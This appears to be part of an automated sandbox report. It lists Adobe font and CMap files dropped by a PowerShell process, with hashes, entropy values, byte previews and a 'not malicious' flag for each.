SHA1:	394285FED905D0F4C2C21230DA50626B0A31A037
SHA-256:	AB87D320C81E4C761B7A4CBD342E212DB4EBE169B5D10848F2F57D828874E342
SHA-512:	CAF07D2623861F60D79ACFB313978B89F9CD8FEEA0BED0FE28D25286D197B62B9EF9A41130586D731DC43AEAE817EAAA87C9CAC31D9BD1FDB82591146E0FA2CB
Malicious:	false
Preview:	%!PS-Adobe-3.0 Resource-CMap..%%DocumentNeededResources: ProcSet (CIDInit)..%%IncludeResource: ProcSet (CIDInit)..%%BeginResource: CMap (UniKS-UTF16-H)..%%Title: (UniKS-UTF16-H Adobe Korea1 1)..%%Version: 1.005..%%Copyright: -----------------------------------------------------------..%%Copyright: Copyright 1990-2012 Adobe Systems Incorporated...%%Copyright: All rights reserved...%%Copyright:..%%Copyright: Redistribution and use in source and binary forms, with or..%%Copyright: without modification, are permitted provided that the..%%Copyright: following conditions are met:..%%Copyright:..%%Copyright: Redistributions of source code must retain the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer...%%Copyright:..%%Copyright: Redistributions in binary form must reproduce the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer in the documentation and/or other materials..%%Copyrigh

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\CMap\UniKS-UTF16-V

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript document text conforming DSC level 3.0
Category:	dropped
Size (bytes):	3198
Entropy (8bit):	5.524396355467385
Encrypted:	false
SSDEEP:	96:Qdu2JMSrYJQrYJLWl/3gF9M+uyu5UV3tNmc/:QdiSrsQrsil/3gU+uF549NmU
MD5:	ABA47550AFFB435A1DCC6B70EFAB5B52
SHA1:	754168E2C3B58FCFCB57B3ECF5CA5EEBDDFA1F47
SHA-256:	7E403DAE40DF21FE3F9B221F7CE750F7F5BFF9CC73D82D011C4BCC48A0DB60ED
SHA-512:	D46537B67EF7137FC0B715E43F23322DD1189DB352235A4A5AD89CB6AF3D3FECAA51C1C93DCEA2A7E8FB8D25B18C3B0F2AB2F23DF7A5A76126A47389FFAC00B2
Malicious:	false
Preview:	%!PS-Adobe-3.0 Resource-CMap..%%DocumentNeededResources: ProcSet (CIDInit)..%%DocumentNeededResources: CMap (UniKS-UTF16-H)..%%IncludeResource: ProcSet (CIDInit)..%%IncludeResource: CMap (UniKS-UTF16-H)..%%BeginResource: CMap (UniKS-UTF16-V)..%%Title: (UniKS-UTF16-V Adobe Korea1 1)..%%Version: 1.002..%%Copyright: -----------------------------------------------------------..%%Copyright: Copyright 1990-2009 Adobe Systems Incorporated...%%Copyright: All rights reserved...%%Copyright:..%%Copyright: Redistribution and use in source and binary forms, with or..%%Copyright: without modification, are permitted provided that the..%%Copyright: following conditions are met:..%%Copyright:..%%Copyright: Redistributions of source code must retain the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer...%%Copyright:..%%Copyright: Redistributions in binary form must reproduce the above..%%Copyright: copyright notice, this list of conditions and the

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Font\AdobePIStd.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	85552
Entropy (8bit):	7.398236775028891
Encrypted:	false
SSDEEP:	1536:PmsMC/asb+Q+fGZNbDvdtlT9Mnlx643McbQqc80U0zy26RR38e8kscXqHZ3MD4ea:BMjlINbrdFMnP6hcbQq8Bn6IPksF8E
MD5:	8653BFE4C32A8528E981748E28C59570
SHA1:	DEC8DD8CBA986F5852286C8B8E45C6270AEAB65A
SHA-256:	5DBC496C0B5A12D9F9FFDB83A46B9FCDA8D1FC1FCD50832C783BE5E9277A698E
SHA-512:	66E39798CA8BBA9AF51F44E81B77AC1703F488B6361BFB05DE632FBB2726E5F1291F0210BE0FC933459BEA78FA433177B33E34BE977C079C97C5330D6590E7FB
Malicious:	false
Preview:	OTTO.......PBASE.>....<\...:CFF B.n....`../.DSIG......N(....GPOSR.[...<....fGSUB..5...=....ZOS/2..7....@...`cmapC......x....head..{.......6hhea...D.......$hmtxU.7{..H\....maxp.sP....8....namex..R........post...2...@... .......\a&._.<..................x....<...:...............................................s..P..s...............X...K...X...^.2.,............................ADBE... .........:................. .................7.............7...........C...........J...........7.........:.e...................................)...........E.........$._.........n...................................6.............M.........t.a...........M.....................4...........8...........4.A.........H.u. 2002 Adobe Systems Incorporated. All rights reserved.Adobe Pi StdRegular1.060;ADBE;AdobePiStd;ADOBEVersion 1.060;PS 1.010;hotconv 1.0.67;makeotf.lib2.5.33168AdobePiStdAdobe is either a registered trademark or a trademark of Adobe Systems Incorporated in the United States and/or other countries.Adobe

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Font\CourierStd-Bold.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	30488
Entropy (8bit):	7.252217241313242
Encrypted:	false
SSDEEP:	768:UYJufmmvVJkJ7pFIJRUQXzUKOXBdbOIYvQXGPgfJVXhU:UYJu+mvPg9eYCzUKOXBdqIWQX4gfVU
MD5:	404952EC4D0AE00DD2F58FB980A99326
SHA1:	2DFA0796BE958109D1558B771C3C8C77049A3945
SHA-256:	A3C25F2EC60F8D44F150CD4E478067B06CC7267FBAAF844DA600CE1C31C6E5C1
SHA-512:	E9F60C1536663B11A8D262A49BD92B80BC619E26408464350A122B4CFA149900DA754C78EA7E84A314F4C914497005409CC83DC8B5F55D725BBA1BD5ACB2CE89
Malicious:	false
Preview:	OTTO.......PBASE......pt...:CFF ..........b.DSIG......w.....GPOS.z....p....RGSUB......q.....OS/2[0.....@...`cmap..~....d....head.9.n.......6hhea...........$hmtx5.1...t.....maxp.~P....8....nameh(..........post.=.5...t... .......h\..._.<..................x........V.................s.....X..........................P..~.....X.........X...K...X...^.4..............................ADBE... ...s.....V..`..........=... .................g.............g...........r......... .v.....................:...............................................$.............:.................................@.&...........f.........t.............f.........4.............,.........2.H.........H.z. 1989, 1990, 1991, 1992, 1993, 1996, 1997, 1998, 2001 Adobe Systems Incorporated. All rights reserved.Courier StdBold2.068;ADBE;CourierStd-Bold;ADOBECourier Std BoldVersion 2.068;PS 2.000;hotconv 1.0.67;makeotf.lib2.5.33168CourierStd-BoldHoward Kettlerhttp://www.adobe.com/typehttp://www.adobe.com/type/legal.html... .1.9.8.9

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Font\CourierStd-BoldOblique.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	31948
Entropy (8bit):	7.268882841938278
Encrypted:	false
SSDEEP:	768:edluzc2NPniJMT9BvYsWShVcbZks6AnkXhUZxX:edluz3piJMpusWShVcbZkfAnk2Z1
MD5:	6804E7413898972E05823ADD91B1DFC5
SHA1:	4DFC3CECD9D3C26AFACA087A69376EB6ABFEDEAF
SHA-256:	698FD9169AD62BD6FAEDD1C8E8637ABC9CC65B3B1A5BA8698242B1447303FBEE
SHA-512:	F89A494AA7DAE22022CB4BDDF911C9FB8F40220C5D49BBA79E5B7F97191FCC2740088437D3E56E6903E0B10AAF5535B4CE08DBE793A0E800D23038196EBF5FC6
Malicious:	false
Preview:	OTTO.......PBASE......v(...:CFF ..li...H..g.DSIG......\|.....GPOS.z....vd...RGSUB......v.....OS/2[1.k...@...`cmap..~.........head...n.......6hhea...0.......$hmtxR.OT..y.....maxp.~P....8....name...........wpost.2.5...(... .......h.j\_.<..................x........V.................s.....X...c......................P..~.....X.........X...K...X.D.^.4..............................ADBE... ...s.....V..`..........=... .......J.........g.............g...........r.........'.}.....................:...............................................$.3...........W...........g...........r...........c...........1...........G.........N.].........,...........t...........,...........4.K.....................2...........H.........................1...........G. 1989, 1990, 1991, 1992, 1993, 1996, 1997, 1998, 2001 Adobe Systems Incorporated. All rights reserved.Courier StdBold Italic2.068;ADBE;CourierStd-BoldOblique;ADOBECourier Std Bold ObliqueVersion 2.068;PS 2.000;hotconv 1.0.67;makeotf.lib2.5.33168CourierS

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Font\CourierStd-Oblique.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	32296
Entropy (8bit):	7.252771161977646
Encrypted:	false
SSDEEP:	768:jhDq/ufETG+B8jqsYTvBTOYDjcXfwMXY6TnP1xaH9UzGb4dmA:jk/uf3YTpIPzo6TtxY9UzGb6
MD5:	71EC484296A30C9379607E36158CA809
SHA1:	6DBA5AFA525BFB38B653E30492D59D839DC7A0C9
SHA-256:	C54815A2729D633E400A6835679613090C20B91DA6CB40FA761AAA475EFB77F5
SHA-512:	0A53ED3EBD858D093CDFC2B2ACC104453C6E211416AE24A93C2A77FEB3C7A5AF8E2A27CA367194F8A6D7294CF36BEC84A3B0C6AF1CCB8047D9B0C72622A9C8DF
Malicious:	false
Preview:	OTTO.......PBASE......w....:CFF ...y...p..i.DSIG......~ ....GPOS.z....w....RGSUB......x.....OS/2Zi.N...@...`cmap..~....@....head...q.......6hhea...8.......$hmtxY.V...{ ....maxp.~P....8....name..h}........post.2.5...P... .......h=D.]_.<..................x........Y.................s.....X...l......................P..~.....X.........X...K...X.D.^.4..............................ADBE... ...s.....Y..`..........=... .......V.........g.............g...........r.........#.x.....................:...............................................$.(...........L...........Z...........g...........m...........z...........H...........^.........F.j.........$...........t...........$...........4.H...........\|.........2...........H.........................H............. 1989, 1990, 1991, 1992, 1993, 1996, 1997, 1998, 2001 Adobe Systems Incorporated. All rights reserved.Courier StdItalic2.068;ADBE;CourierStd-Oblique;ADOBECourier Std Medium ObliqueVersion 2.068;PS 2.000;hotconv 1.0.67;makeotf.lib2.5.33168Cou

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Font\CourierStd.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	30824
Entropy (8bit):	7.22230558667107
Encrypted:	false
SSDEEP:	768:px0Kx7uekYqrdC/MNVO6MFsSStwPHMjz9Qc3:j3RuexqrdGYmJStYHmz913
MD5:	F4C2D3851E2781B2B3FF60A2E34E81AC
SHA1:	779F9FEE6D37C37A03601EC1AB406D055E8E7692
SHA-256:	54CB5C8E9775CB432AFE32B0AF688536354AD04EF9C9F1450EE7C88A73BC884D
SHA-512:	218CF55522D6EDD88AD92ACAA6D440F0F7FF2A0688948A834EF21EFF7CA6A915622723720DAE234E412E788EE7B722261B1A238A12D05C7F63F24D854FDAD43D
Malicious:	false
Preview:	OTTO.......PBASE......q....:CFF ..vN......d.DSIG......x`....GPOS.z....r....RGSUB......rT....OS/2Zh.....@...`cmap..~.........head.E.q.......6hhea...........$hmtx<.8...u`....maxp.~P....8....name.I..........post.=.5....... .......h..Gd_.<..................x........Y.................s.....X..........................P..~.....X.........X...K...X...^.4..............................ADBE... ...s.....Y..`..........=... .......&.........g.............g...........r...........y.....................:...............................................$.............5...........g...........;.................................6.-...........c.........t.w...........c.........4.......................2.;.........H.m............. 1989, 1990, 1991, 1992, 1993, 1996, 1997, 1998, 2001 Adobe Systems Incorporated. All rights reserved.Courier StdRegular2.068;ADBE;CourierStd;ADOBECourier Std MediumVersion 2.068;PS 2.000;hotconv 1.0.67;makeotf.lib2.5.33168CourierStdHoward Kettlerhttp://www.adobe.com/typehttp://www.adobe.

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Font\MinionPro-Bold.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	210284
Entropy (8bit):	7.068121028372695
Encrypted:	false
SSDEEP:	6144:3z2HDNf6XZFWrRBPt2a+C5vDgtTBbhRRkBPgdG:3zaNWZFyBPONbhXkBPOG
MD5:	B3870BE83F40B14CB382BD498920A137
SHA1:	08B27BCE2DB468785348F42E39B2E80D9107FB1A
SHA-256:	6AF523A01B268DDAAB5177E6C0DF5024F7192D72B0B1CA9523721FBAA2AA9257
SHA-512:	0979D123BA7D84B564AA0F018AE49ED7A2C4610882E574547ABADE7ABD2E743630CCC82DFE95C3FBE963731E33DF5D34C2E307FD28A2E7670E2AACBE3B87F70E
Malicious:	false
Preview:	OTTO.......PBASEe.]...L....FCFF ..]....<..4.DSIG......5d....GPOS.j....M,....GSUB...G......*.OS/2bq.....@...`cmap_E9.........head..T........6hhea...........$hmtxw..4.......Xmaxp..P....8....name. ._.......mpost...2....... .........+<._.<..........{.......x....................................\|......................P........2.........X...K...X...^.2..............`...............ADBE... ...........h .............. .......2.........g.............g...........q...........u.....................9.....................................k...........z.........$.............q.............................................>.......................r.........................m.........4.o.....................2...........H............... 1990, 1991, 1992, 1994, 1997, 1998, 2000, 2002, 2004 Adobe Systems Incorporated. All rights reserved.Minion ProBold2.113;ADBE;MinionPro-Bold;ADOBEMinion Pro BoldVersion 2.113;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.5900MinionPro-BoldMinion is either a registered trademark or a

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Font\MinionPro-BoldIt.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	251140
Entropy (8bit):	7.049888028137883
Encrypted:	false
SSDEEP:	6144:tj64FsxSslGgShJ2rgoyGgg4sB+73Lc8n+zYBYg:R6MsxS5rxglmOg
MD5:	A7487BEFBF3C7BA8C957D269D9BA24E1
SHA1:	75063A3DB5E857B5565FE8AC9CECA74440CF2EF2
SHA-256:	BEB1CA56F9B4F89FB1549FE63A4BC578D2BD8747F967C1DF26DACD3DED3F0223
SHA-512:	1694A64790AEAC2D789C75A2C664A62D19C3A487730BD368E2C76A78852046E94A158467DBED26783F8EB1C17E0D76E2C3150F6EC82131CC2BBB385EF931C1CD
Malicious:	false
Preview:	OTTO.......PBASEe.]........FCFF M.X........VDSIG............GPOS.A\|.... ...GSUB..1.......2&OS/2br.e...@...`cmapdJ.j...X....head.tV........6hhea.&.........$hmtx+..=........maxp.DP....8....nameO..........post...2...`... ..........._.<..........}.......x....................................'...................D..P..D.....9.........X...K...X.J.^.2..............`...............ADBE... ...........h .............. .......>.........g.............g...........q.........!.\|.....................9.....................................}.....................$.........................q.............................................B........... ...........r.7......... .......................4.......................2...........H./............. 1990, 1991, 1992, 1994, 1997, 1998, 2000, 2002, 2004 Adobe Systems Incorporated. All rights reserved.Minion ProBold Italic2.113;ADBE;MinionPro-BoldIt;ADOBEMinion Pro Bold ItalicVersion 2.113;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.5900MinionPro-BoldItMinion is eith

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Font\MinionPro-It.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	252108
Entropy (8bit):	7.069665241195929
Encrypted:	false
SSDEEP:	6144:H5Pf8kkiiO4vviV+eehOtHU5VLO+++A3++awYHt:H5n8qrIthf5VU2Ht
MD5:	45E2315E99F24AB596F9D3AED29A0FC3
SHA1:	A73342DB05275C6858984F25C0D1278E93BFBEE9
SHA-256:	90DEF22F2B7B3E4AA78A160084A7A2C8F28883B700ABAEDC004DC74CBC2D9B4C
SHA-512:	1D479BEDA9F70055B0596E18D9F41DACE4141DEFB3BA9D01F21C0262E889FE37B7D9F3558B37E7716196DE5C2AA7668BB8B115A5BF4540763239F22A4D530CF9
Malicious:	false
Preview:	OTTO.......PBASEe.]........FCFF .g.,...L....DSIG............GPOSkj`O...X...4GSUB..1.......2&OS/2`F.....@...`cmapdJ.j...$....head..V........6hhea.C.........$hmtx\|...........maxp.DP....8....namec\|..........post...2...,... ..........yE_.<..........}.......x..7...............................7./...................C..P..D.....!.........X...K...X.J.^.2..............`...............ADBE... ...........h .............. .......>.........g.............g...........q...........w.....................9.....................................k...........z.........$.........................q.............................................:.......................r.........................x.........4.z.....................2...........H............... 1990, 1991, 1992, 1994, 1997, 1998, 2000, 2002, 2004 Adobe Systems Incorporated. All rights reserved.Minion ProItalic2.113;ADBE;MinionPro-It;ADOBEMinion Pro ItalicVersion 2.113;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.5900MinionPro-ItMinion is either a registered tr

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Font\MinionPro-Regular.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	210808
Entropy (8bit):	7.107882344262286
Encrypted:	false
SSDEEP:	3072:kP2Ea79vZp3MeJymLbVQbKH3L9jLU2jRM5eUlVsXGUPHTfeoAL3sBgL/4tHRkBDB:kP2h76QRMUoVsXdwsBw/kxkBgW
MD5:	A4EA2690CFD854B24C968AC6CDCE9C33
SHA1:	EFC3BC793479DF1A34D76C42063997AD0E73C6B6
SHA-256:	327CB2238A82A89176FF6601139CBD0A5CDD8F8E1E057343EAE13FA9B1E10AB8
SHA-512:	F722B32C397179B25E33B88771CB588C6F23A615533E3DCB21B34052E2930F935DAB58B7EE5A3098912A41E6266B5F26B86602CF57BFF41917D634E55A86C52E
Malicious:	false
Preview:	OTTO.......PBASEe.]...Q`...FCFF .......H..9.DSIG......7p....GPOS.3.t..Q....rGSUB...G......*.OS/2`E.....@...`cmap_E9.........head.5T........6hhea...........$hmtx.4.........Xmaxp..P....8....name.O.........ypost...2...(... ............_.<..........{.......x....................................v......................P..................X...K...X...^.2..............`...............ADBE... ...........h .............. .......2.........g.............g...........q.........".x...........g.........9.....................................e...........t.........$.............q.............................................D..........."...........r...........".............y.........4.{.....................2...........H............... 1990, 1991, 1992, 1994, 1997, 1998, 2000, 2002, 2004 Adobe Systems Incorporated. All rights reserved.Minion ProRegular2.113;ADBE;MinionPro-Regular;ADOBEVersion 2.113;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.5900MinionPro-RegularMinion is either a registered trademark or a trade

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Font\MyriadPro-Bold.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	90456
Entropy (8bit):	6.813831131460659
Encrypted:	false
SSDEEP:	1536:ruMpOn479vZp3MeJymLbVQbZg8Lm52cqU5mJm2Tg9gHsF+JSqyi+GGGCRqBtUwah:CU179vZp3MeJymLbVQbZ3CrqUwJmStEh
MD5:	E6D1585E6C81E3206948D8548D914FEC
SHA1:	4BFA4D5AD9995BD89E2D443009E4FFB728A1F74B
SHA-256:	2D09971801F2C18FC5A825379404113DB237866073AB463A9BF0F3DA8C62459A
SHA-512:	058CF93EA2BE4E98E752A4090F295E00BAD37B7DB9D4461CF7484409AF5087853653FD82AA7475A85950B48367A1D9168CC8983791B78DABEB8AF4F84397A264
Malicious:	false
Preview:	OTTO.......PBASEe%].......FCFF ..r.........DSIG......aP....GPOS8........M.GSUB.'$(..A....^OS/2_V.....@...`cmapJ.3C........head...........6hhea...........$hmtx..i...T....Hmaxp.RP....8....name...........Fpost...2....... .......dt..._.<..........N........x..]...............................].\...................R..P..R...............X...K...X...^.2."............ ...............ADBE... ............ .............. .................O.............O...........Y...........]...........\|.........:...................................!.T...........u.........$.........................P...........d.........>.l.....................t.........................:.........4.<.........B.p.........2...........H.. 1992, 1994, 1997, 2000, 2004 Adobe Systems Incorporated. All rights reserved.Myriad ProBold2.107;ADBE;MyriadPro-Bold;ADOBEMyriad Pro BoldVersion 2.107;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.58329MyriadPro-BoldMyriad is either a registered trademark or a trademark of Adobe Systems Incorporated in the

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Font\MyriadPro-BoldIt.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	92636
Entropy (8bit):	6.860831645020259
Encrypted:	false
SSDEEP:	1536:fpMBiTX79vZp3MeJymLbVQbaRRQQmzcJfttExKBUBq8YRfyraMvxvxM+RP/YxTRV:hA879vZp3MeJymLbVQbaRRQzzcJfttEo
MD5:	01E3D8472C3CBC43799FED290B0DC219
SHA1:	916A7E55B47D079E0BF0E3FEA9EF8F48AF3D53C4
SHA-256:	7BCFA54CB8FB5B64DFE36F411D5265F7F71DC6F3B685C7ED0EB3753EE194BB45
SHA-512:	E70A72670E5267582BD652ABC73DE091D8978856B757001C7B5EFCC110A331B45EE0334C5864685C3054B627E0C750A050396842ED66C43A8B43AA33E6342B1C
Malicious:	false
Preview:	OTTO.......PBASEe%]....T...FCFF ..V....8....DSIG......i.....GPOSg.K......JFGSUB!Y=>..H.....OS/2_W.;...@...`cmapJ.3%...,....head.x........6hhea.\|.........$hmtx..\...\\|...Xmaxp.VP....8....name..Ul........post...2....... .......d..I:_.<..........N........x..7...............................7.....................V..P..V...............X...K...X.D.^.2."............ ...............ADBE... ............ .............. .......&.........O.............O...........Y.........!.d.....................:...................................!.f.....................$.....................................t.....................B........... ...........t........... .............t.........4.v.........B...........2...........H... 1992, 1994, 1997, 2000, 2004 Adobe Systems Incorporated. All rights reserved.Myriad ProBold Italic2.107;ADBE;MyriadPro-BoldIt;ADOBEMyriad Pro Bold ItalicVersion 2.107;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.58329MyriadPro-BoldItMyriad is either a registered trademark or a trademark of Ado

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Font\MyriadPro-It.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	91132
Entropy (8bit):	6.90451917854644
Encrypted:	false
SSDEEP:	1536:E5Mgi/379vZp3MeJymLbVQbnbkVGcjf0DoEgNT8QcZaQwHhFzeKuvGujl2u1X2Y2:AFi79vZp3MeJymLbVQbnqVjf1EAXcN0D
MD5:	4413059068C27D82AD49621AE4AAEB5B
SHA1:	CA0E2F5CE7303031E1B97F6EB3402E45E3786A3B
SHA-256:	F234ADAFB66AD5E47A024FF4881C2EDC347D0453C15E811288EF10EB573CC33E
SHA-512:	5F68440FB0FE825A3742BDEB5EA089BB124D878DE7CEA74AB3270B888125F66D3E0EC62D562BCEEA194DC68CE9A40EA1BEF5D5980CE7EA207D91F04A20298412
Malicious:	false
Preview:	OTTO.......PBASEe%]....L...FCFF .\.........CDSIG......c.....GPOS<..y......JpGSUB!Y=>..C.....OS/2^+.....@...`cmapJ.3%........head..........6hhea...........$hmtx&.vA..V....Xmaxp.VP....8....namef..z.......[post...2....... .......d.C.._.<..........N........x..G...B.........................d.G.".B.................V..P..V...............X...K...X.D.^.2."............ ...............ADBE... ............ .............. .......&.........O.............O...........Y..........._...........\|.........:...................................!.T...........u.........$.....................................]...........q.........:.}.....................t.........................C.........4.E.........B.y.........2...........H.. 1992, 1994, 1997, 2000, 2004 Adobe Systems Incorporated. All rights reserved.Myriad ProItalic2.107;ADBE;MyriadPro-It;ADOBEMyriad Pro ItalicVersion 2.107;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.58329MyriadPro-ItMyriad is either a registered trademark or a trademark of Adobe Systems Incorpo

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Font\MyriadPro-Regular.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	90404
Entropy (8bit):	6.8729134624051
Encrypted:	false
SSDEEP:	1536:SVM7Ouk79vZp3MeJymLbVQb2RG4m1Gnb0LBaJx1llp8PUUNMF7BM7omdoZNaDq5i:2QK79vZp3MeJymLbVQbtf1GRxH8sUN20
MD5:	1AED3BCF1B764F4AC6D9B988B0E724C0
SHA1:	6E149809FF93E683307AB3154FDD57EB24C5E9A3
SHA-256:	C812279DB1ED52876E3B59791645424CB4714CB710F60DA45F1B40757C3263E3
SHA-512:	8FB3591513BEE4D9C77EB6380D9F05E7E423434BF667759765D14CE8CDC89D969230516F271B28F508BA5FBA0E21B7623239E16C02599FA36B0900D199805BC4
Malicious:	false
Preview:	OTTO.......PBASEe%]....$...FCFF eAk........!DSIG......a.....GPOS.z....l..O.GSUB.'$(..At...^OS/2^.....@...`cmapJ.3C........head.>.H.......6hhea...?.......$hmtxAx}U..S....Hmaxp.RP....8....name.G........Rpost...2....... .......d..._.<..........N........x..c...f...........................c.b.f.................R..P..R...............X...K...X...^.2."............ ...............ADBE... ............ .............. .................O.............O...........Y.........".`...........O.........:...................................!.N...........o.........$.........................J...........^.........D.l........."...........t...........".............F.........4.H.........B.\|.........2...........H.. 1992, 1994, 1997, 2000, 2004 Adobe Systems Incorporated. All rights reserved.Myriad ProRegular2.107;ADBE;MyriadPro-Regular;ADOBEVersion 2.107;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.58329MyriadPro-RegularMyriad is either a registered trademark or a trademark of Adobe Systems Incorporated in the Unite

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Font\Pfm\SY______.PFM

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Printer Font Metrics Symbol, 672 bytes, Symbol
Category:	dropped
Size (bytes):	672
Entropy (8bit):	4.8149453965834415
Encrypted:	false
SSDEEP:	12:60J+x6sme/VfDQhNwswg6uYYYYYYLLp6G31GjTR8ANf4gnwCGHi7hZCJQpJN:6bwsThbswuLp6E1GXqANfBY4hZCJQpJN
MD5:	692B5B1BE7394E93FD6E0750CAE81474
SHA1:	208CEB86C2DDE35C78FB40AC0F2573F4E4FF499C
SHA-256:	035AF7591938139C78F8AD715047C16CD439C6A7791035DEEC013439921E6925
SHA-512:	9B7EF79D488361BD1E94072B4FDAF17854881E673DC4A2981C31A65A185DE987EC6C605753E1A645E74ACD9FB030CFD81F5F0BB81661B3C43DFAA5EF46E0CAEB
Malicious:	false
Preview:	......Copyright (c) 1985, 1987, 1989, 1990, 1997 Adobe Systems In.....,.,.../.............Q.... ...................................................4...............................d.2.2.d.....7.2.....PostScript.Symbol.Symbol...M.....%.A.....M.M...%...%.............................%.%.%...%.......d.c...[...M.w.....y.........,.P.c...........c.M._.M.......w.%.%.........[.I.[.%.%.@...%.%...%.[...@.................%.....................................................................l...%...................[...[...%...%.%.......%.%.%.%...[.....7...........7...........................z.7.%.....[.[.....[...[...I...............................I.............................

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Font\Pfm\zx______.pfm

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Printer Font Metrics AdobeSansMM, 683 bytes, AdobeSanMM
Category:	dropped
Size (bytes):	683
Entropy (8bit):	5.302956499064756
Encrypted:	false
SSDEEP:	12:J3vLbX/V3bgk5kn72h/DvYhrAfMbs0dtFjAPYyK8wndBMMg5MnI:J3vLbX/qB8MIkd8wnw5MnI
MD5:	705CD85804C3DC1EEF81B624EA813BFB
SHA1:	5D5807713D14F45B9E5BCE0576ADE157BAD5A701
SHA-256:	B3E66A48A576F1D90277AEFB89AF9CFD370E7C216978234BFE66B6AB6FA2C0FD
SHA-512:	DBBF44D7FC2087E5318FCA440EB4C0396A9166AAB64DE31A901C0FE3C049A5577C021E43406E611D9EADA020233C1BA008DB46026F5A88D5C26C25125FAE46BA
Malicious:	false
Preview:	......Copyright (c) 1993, 1994, 1999 Adobe Systems Incorporated. .....,.,.^.{...........c.!&... .u.................................................4...............................d.2.2.d.....I.2.....PostScript.AdobeSanMM.AdobeSansMM.y...x.O.q.0...........{...........7...........r.........{.{.{.....[......./...........U.........t...y.M."...a...a.6...y...x.{.8...).I.0.I.1...Q.O.........l.O.T.H.I.......S...t.......q.\|.q.{.........F.x...!.!.....M.(...............x.x.............(.......6.y.........z.\|.7.....}...{.........{.......S.:...................[.[.[.[.[.[....././././.......................{...........6.t.\.).).).).).)...0.1.1.1.1.........T.O.T.T.T.T.T.{.S.S.S.S.S...J.....

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Font\Pfm\zy______.pfm

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Printer Font Metrics AdobeSerifMM, 684 bytes, AdobeSerMM serif proportional
Category:	dropped
Size (bytes):	684
Entropy (8bit):	5.228716799639252
Encrypted:	false
SSDEEP:	12:2CLd135WgkS2JaBDIIIIAnng0K6bhZrfn7npgjyfaA9PEubmTTTgdJi3:3Ld1IWIIIIAngy7jzaosubmTfMw
MD5:	7D3BE2EC810FA01A9EA7D2A26551CFF7
SHA1:	7962465CE36A83666FE7A3EDCB31E125ED597E93
SHA-256:	1A5660F3F8BB9D18FD6A710D70AF26CF1E167FE040D7DAF3CE41E527236E1FEC
SHA-512:	CD4BA616364F37AA8294C9A2A6B64ED3CF0B011CFCFFA9056295B5FC23348C2B3CFA96A25954C6DC472053DAA1F9F4B08176A515C95ABAB6FFD7077DEB8D7959
Malicious:	false
